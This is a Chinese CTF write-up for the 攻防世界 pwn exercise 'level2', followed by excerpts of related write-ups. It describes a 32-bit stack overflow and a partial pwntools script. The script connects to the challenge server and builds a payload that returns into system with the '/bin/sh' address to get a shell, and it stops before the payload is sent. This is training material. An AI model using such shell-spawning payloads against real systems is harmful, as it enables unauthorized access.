nc連線,file一下32位的
拖進ida
看到熟悉的read想到棧溢位,接著搜尋字串找有用的資訊
看到了如圖花圈的關鍵字
於是我們想到利用棧溢位覆蓋之前的位址,使之能跳轉到system(/bin/sh)
通過控制vulnerable_function()返回到該偽棧幀執行system("/bin/sh")來get shell
然後把system以及bin/sh構造進payload
bin/sh的位址可以直接找到,system利用plt跳轉got,來找到
# -*- coding: utf-8 -*-from pwn import *
kubopiy=remote("220.249.52.133",46572)#進行連線
elf = elf("./level2")
sysadd=elf.symbols['system']
payload=b'a'*(0x88+0x04)+p32(sysadd)+p32(0)+p32(0x0804a024)#b是位元組,填入這麼多的a,再加乙個打包好的函式位址
kubopiy.recvuntil("input:")#接收到那一句話
pwn 練習6 攻防世界 level3
這個題做的蠻久的,老樣子,基本操作來一遍 通過ida分析後,沒有system函式,也沒有 bin sh這樣的字眼,但題目給了乙個動態庫,於是我們可以通過另乙個庫,來調出system bin sh 兩個呼叫的動態函式庫相同,所以write函式和system函式之間的位址差值是相同的,所以我們的目的是求...
攻防世界pwn新手練習(level0)
老規矩哦,我們先checksec一下,收集一下資訊 唔,沒啥東西,繼續ida吧。emmm,主函式倒是挺簡單的,就一行列印,一行輸入 但 不知你們有公尺有發現有個很奇怪的函式名,我們悄悄的瞅一瞅 果然不對勁,首先它的名字中有個system 手動加粗 這個是什麼東西嘞,簡單的來說,它擁有系統的最高許可權...
攻防世界pwn新手練習(level2)
可以看到題上已經有提示了 rop 我們看一下程式的保護狀態和它的運 況 開了nx,問題不大。執行可以發現有乙個輸入點 放ida裡看看 在字串視窗可以發現有 bin sh 並且左邊的函式視窗可以看到在.plt段有system函式 這就很舒服了呀,再結合一下題目給的提示,構造rop鏈就行,效果如下 具體...